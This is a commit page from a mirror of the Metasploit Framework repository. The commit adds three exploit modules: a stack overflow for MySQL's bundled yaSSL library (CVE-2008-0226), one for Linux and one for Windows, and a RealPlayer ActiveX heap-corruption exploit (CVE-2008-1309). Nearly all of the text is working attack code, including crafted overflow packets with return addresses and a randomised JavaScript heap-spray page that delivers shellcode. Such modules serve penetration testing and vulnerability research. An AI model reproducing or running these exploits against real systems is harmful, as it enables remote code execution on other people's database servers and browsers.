mirror of
https://github.com/rapid7/metasploit-framework
synced 2024-11-12 11:52:01 +01:00
added exploit modules mysql_yassl(win32/linux) and realplayer_console from EB.
git-svn-id: file:///home/svn/framework3/trunk@5463 4d416f70-5f16-0410-b530-b9f4589650da
This commit is contained in:
Mario Ceballos
parent
6ede0b8827
commit
d41a814ed5
81
modules/exploits/linux/mysql/mysql_yassl.rb
Normal file
81
modules/exploits/linux/mysql/mysql_yassl.rb
Normal file
@ -0,0 +1,81 @@
|
||||
##
|
||||
# $Id: mysql_yassl.rb 4419 2007-02-18 00:10:39Z hdm $
|
||||
##
|
||||
|
||||
##
|
||||
# This file is part of the Metasploit Framework and may be subject to
|
||||
# redistribution and commercial restrictions. Please see the Metasploit
|
||||
# Framework web site for more information on licensing and terms of use.
|
||||
# http://metasploit.com/projects/Framework/
|
||||
##
|
||||
|
||||
|
||||
require 'msf/core'
|
||||
|
||||
module Msf
|
||||
|
||||
class Exploits::Linux::Mysql::Mysql_Yassl < Msf::Exploit::Remote
|
||||
|
||||
include Exploit::Remote::Tcp
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'MySQL yaSSL SSL Hello Message Buffer Overflow',
|
||||
'Description' => %q{
|
||||
This module exploits a stack overflow in the yaSSL (1.7.5 and earlier)
|
||||
implementation bundled with MySQL <= 6.0. By sending a specially crafted
|
||||
Hello packet, an attacker may be able to execute arbitrary code.
|
||||
},
|
||||
'Author' => [ 'MC' ],
|
||||
'License' => MSF_LICENSE,
|
||||
'Version' => '$Revision$',
|
||||
'References' =>
|
||||
[
|
||||
[ 'BID', '27140' ],
|
||||
[ 'CVE', '2008-0226' ],
|
||||
|
||||
],
|
||||
'Privileged' => false,
|
||||
'Payload' =>
|
||||
{
|
||||
'Space' => 100,
|
||||
'BadChars' => "\x00\x20\x0a\x0d\x2f\x2b\x0b\x5c",
|
||||
},
|
||||
'Platform' => 'linux',
|
||||
'Targets' =>
|
||||
[
|
||||
[ 'MySQL 5.0.45-Debian_1ubuntu3.1-log', { 'Ret' => 0x085967fb } ],
|
||||
],
|
||||
'DefaultTarget' => 0,
|
||||
'DisclosureDate' => 'Jan 4 2008'))
|
||||
|
||||
register_options([ Opt::RPORT(3306)], self.class)
|
||||
end
|
||||
|
||||
def exploit
|
||||
connect
|
||||
|
||||
sock.get_once
|
||||
|
||||
req_uno = [0x01000020].pack('V')
|
||||
|
||||
req_dos = [0x00008daa].pack('V') + [0x40000000].pack('V')
|
||||
req_dos << [0x00000008].pack('V') + [0x00000000].pack('V')
|
||||
req_dos << [0x00000000].pack('V') + [0x00000000].pack('V')
|
||||
req_dos << [0x00000000].pack('V') + [0x00000000].pack('V')
|
||||
req_dos << [0x03010000].pack('V') + [0x00000001].pack('V')
|
||||
req_dos << "\x00\x0F\xFF" + rand_text_alphanumeric(3965)
|
||||
req_dos << [target.ret].pack('V') + payload.encoded
|
||||
req_dos << rand_text_alphanumeric(1024)
|
||||
|
||||
print_status("Trying target #{target.name}...")
|
||||
|
||||
sock.put(req_uno)
|
||||
sock.put(req_dos)
|
||||
|
||||
handler
|
||||
disconnect
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
130
modules/exploits/windows/browser/realplayer_console.rb
Normal file
130
modules/exploits/windows/browser/realplayer_console.rb
Normal file
@ -0,0 +1,130 @@
|
||||
|
||||
##
|
||||
# This file is part of the Metasploit Framework and may be subject to
|
||||
# redistribution and commercial restrictions. Please see the Metasploit
|
||||
# Framework web site for more information on licensing and terms of use.
|
||||
# http://metasploit.com/projects/Framework/
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
|
||||
module Msf
|
||||
|
||||
class Exploits::Windows::Browser::RealPlayer_Console < Msf::Exploit::Remote
|
||||
|
||||
include Exploit::Remote::HttpServer::HTML
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'RealPlayer rmoc3260.dll ActiveX Control Heap Corruption',
|
||||
'Description' => %q{
|
||||
This module exploits a heap corruption vulnerability in the RealPlayer ActiveX control.
|
||||
By sending a specially crafted string to the 'Console' property
|
||||
in the rmoc3260.dll control, an attacker may be able to execute
|
||||
arbitrary code.
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' => [ 'Elazar Broad <elazarb[at]earthlink.net>' ],
|
||||
'Version' => '$Revision: 0 $',
|
||||
'References' =>
|
||||
[
|
||||
[ 'CVE', 'CVE-2008-1309' ],
|
||||
[ 'BID', '28157' ],
|
||||
[ 'URL', 'http://secunia.com/advisories/29315/' ],
|
||||
],
|
||||
'DefaultOptions' =>
|
||||
{
|
||||
'EXITFUNC' => 'process',
|
||||
},
|
||||
'Payload' =>
|
||||
{
|
||||
'Space' => 1024,
|
||||
'BadChars' => "\x00\x09\x0a\x0d'\\",
|
||||
'PrepenEncoder' => "\x81\xc4\x54\xf2\xff\xff",
|
||||
},
|
||||
'Platform' => 'win',
|
||||
'Targets' =>
|
||||
[
|
||||
[ 'Windows XP SP0-SP2 / IE 6.0 SP0-2 & IE 7.0 English', { 'Offset' => 32, 'Ret' => 0x0C0C0C0C } ]
|
||||
],
|
||||
'DisclosureDate' => 'March 8 2008',
|
||||
'DefaultTarget' => 0))
|
||||
end
|
||||
|
||||
def autofilter
|
||||
false
|
||||
end
|
||||
|
||||
def check_dependencies
|
||||
use_zlib
|
||||
end
|
||||
|
||||
def on_request_uri(cli, request)
|
||||
# Re-generate the payload
|
||||
return if ((p = regenerate_payload(cli)) == nil)
|
||||
|
||||
# Encode the shellcode
|
||||
shellcode = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch))
|
||||
|
||||
# Setup exploit buffers
|
||||
nops = Rex::Text.to_unescape([target.ret].pack('V'))
|
||||
ret = Rex::Text.uri_encode([target.ret].pack('L'))
|
||||
blocksize = 0x40000
|
||||
fillto = 400
|
||||
offset = target['Offset']
|
||||
|
||||
# Randomize the javascript variable names
|
||||
racontrol = rand_text_alpha(rand(100) + 1)
|
||||
j_shellcode = rand_text_alpha(rand(100) + 1)
|
||||
j_nops = rand_text_alpha(rand(100) + 1)
|
||||
j_headersize = rand_text_alpha(rand(100) + 1)
|
||||
j_slackspace = rand_text_alpha(rand(100) + 1)
|
||||
j_fillblock = rand_text_alpha(rand(100) + 1)
|
||||
j_block = rand_text_alpha(rand(100) + 1)
|
||||
j_memory = rand_text_alpha(rand(100) + 1)
|
||||
j_counter = rand_text_alpha(rand(30) + 2)
|
||||
j_ret = rand_text_alpha(rand(100) + 1)
|
||||
j_m = rand_text_alpha(rand(100) + 1)
|
||||
|
||||
# Build out the message
|
||||
content = %Q|
|
||||
<html>
|
||||
<object classid='clsid:2F542A2E-EDC9-4BF7-8CB1-87C9919F7F93' id='#{racontrol}'></object>
|
||||
<script language='javascript'>
|
||||
#{j_shellcode} = unescape('#{shellcode}');
|
||||
#{j_nops} = unescape('#{nops}');
|
||||
#{j_headersize} = 20;
|
||||
#{j_slackspace} = #{j_headersize} + #{j_shellcode}.length
|
||||
while (#{j_nops}.length < #{j_slackspace}) #{j_nops} += #{j_nops};
|
||||
#{j_fillblock} = #{j_nops}.substring(0, #{j_slackspace});
|
||||
#{j_block} = #{j_nops}.substring(0, #{j_nops}.length - #{j_slackspace});
|
||||
while(#{j_block}.length + #{j_slackspace} < #{blocksize}) #{j_block} = #{j_block} + #{j_block} + #{j_fillblock};
|
||||
#{j_memory} = new Array();
|
||||
for (#{j_counter} = 0; #{j_counter} < #{fillto}; #{j_counter}++) #{j_memory}[#{j_counter}] = #{j_block} + #{j_shellcode};
|
||||
#{j_ret} = unescape('#{ret}');
|
||||
while (#{j_ret}.length < #{offset}) #{j_ret} += #{j_ret};
|
||||
|
||||
#{j_m} = #{racontrol}.Console;
|
||||
#{racontrol}.Console = #{j_ret};
|
||||
#{racontrol}.Console = #{j_m};
|
||||
|
||||
#{j_m} = #{racontrol}.Console;
|
||||
#{racontrol}.Console = #{j_ret};
|
||||
#{racontrol}.Console = #{j_m};
|
||||
</script>
|
||||
</html>
|
||||
|
|
||||
|
||||
|
||||
|
||||
print_status("Sending exploit to #{cli.peerhost}:#{cli.peerport}...")
|
||||
|
||||
# Transmit the response to the client
|
||||
send_response_html(cli, content)
|
||||
|
||||
# Handle the payload
|
||||
handler(cli)
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
87
modules/exploits/windows/mysql/mysql_yassl.rb
Normal file
87
modules/exploits/windows/mysql/mysql_yassl.rb
Normal file
@ -0,0 +1,87 @@
|
||||
##
|
||||
# $Id:
|
||||
##
|
||||
|
||||
##
|
||||
# This file is part of the Metasploit Framework and may be subject to
|
||||
# redistribution and commercial restrictions. Please see the Metasploit
|
||||
# Framework web site for more information on licensing and terms of use.
|
||||
# http://metasploit.com/projects/Framework/
|
||||
##
|
||||
|
||||
|
||||
require 'msf/core'
|
||||
|
||||
module Msf
|
||||
|
||||
class Exploits::Windows::Mysql::MySQL_yaSSL < Msf::Exploit::Remote
|
||||
|
||||
include Exploit::Remote::Tcp
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'MySQL yaSSL SSL Hello Message Buffer Overflow',
|
||||
'Description' => %q{
|
||||
This module exploits a stack overflow in the yaSSL (1.7.5 and earlier)
|
||||
implementation bundled with MySQL <= 6.0. By sending a specially crafted
|
||||
Hello packet, an attacker may be able to execute arbitrary code.
|
||||
},
|
||||
'Author' => [ 'MC' ],
|
||||
'License' => MSF_LICENSE,
|
||||
'Version' => '$Revision:$',
|
||||
'References' =>
|
||||
[
|
||||
[ 'BID', '27140' ],
|
||||
[ 'CVE', '2008-0226' ],
|
||||
],
|
||||
'Privileged' => true,
|
||||
'DefaultOptions' =>
|
||||
{
|
||||
'EXITFUNC' => 'thread',
|
||||
},
|
||||
'Payload' =>
|
||||
{
|
||||
'Space' => 600,
|
||||
'BadChars' => "\x00\x20\x0a\x0d\x2f\x2b\x0b\x5c",
|
||||
'StackAdjustment' => -3500,
|
||||
'PrependEncoder' => "\x81\xc4\x54\xf2\xff\xff",
|
||||
},
|
||||
'Platform' => 'win',
|
||||
'Targets' =>
|
||||
[
|
||||
[ 'MySQL 5.0.45-community-nt', { 'Ret' => 0x008b9d45 } ],
|
||||
[ 'MySQL 5.1.22-rc-community', { 'Ret' => 0x008b04c9 } ],
|
||||
],
|
||||
'DefaultTarget' => 0,
|
||||
'DisclosureDate' => 'Jan 4 2008'))
|
||||
|
||||
register_options([ Opt::RPORT(3306) ], self)
|
||||
end
|
||||
|
||||
def exploit
|
||||
connect
|
||||
|
||||
sock.get_once
|
||||
|
||||
req_uno = [0x01000020].pack('V')
|
||||
|
||||
req_dos = [0x00008daa].pack('V') + [0x40000000].pack('V')
|
||||
req_dos << [0x00000008].pack('V') + [0x00000000].pack('V')
|
||||
req_dos << [0x00000000].pack('V') + [0x00000000].pack('V')
|
||||
req_dos << [0x00000000].pack('V') + [0x00000000].pack('V')
|
||||
req_dos << [0x03010000].pack('V') + [0x00000001].pack('V')
|
||||
req_dos << "\x00\x0F\xFF" + rand_text_alphanumeric(3917 - payload.encoded.length)
|
||||
req_dos << make_nops(100) + payload.encoded + [target.ret].pack('V')
|
||||
req_dos << make_nops(16) + [0xe8, -650].pack('CV') + rand_text_alphanumeric(1024)
|
||||
|
||||
print_status("Trying target #{target.name}...")
|
||||
|
||||
sock.put(req_uno)
|
||||
sock.put(req_dos)
|
||||
|
||||
handler
|
||||
disconnect
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
Loading…
Reference in New Issue
Block a user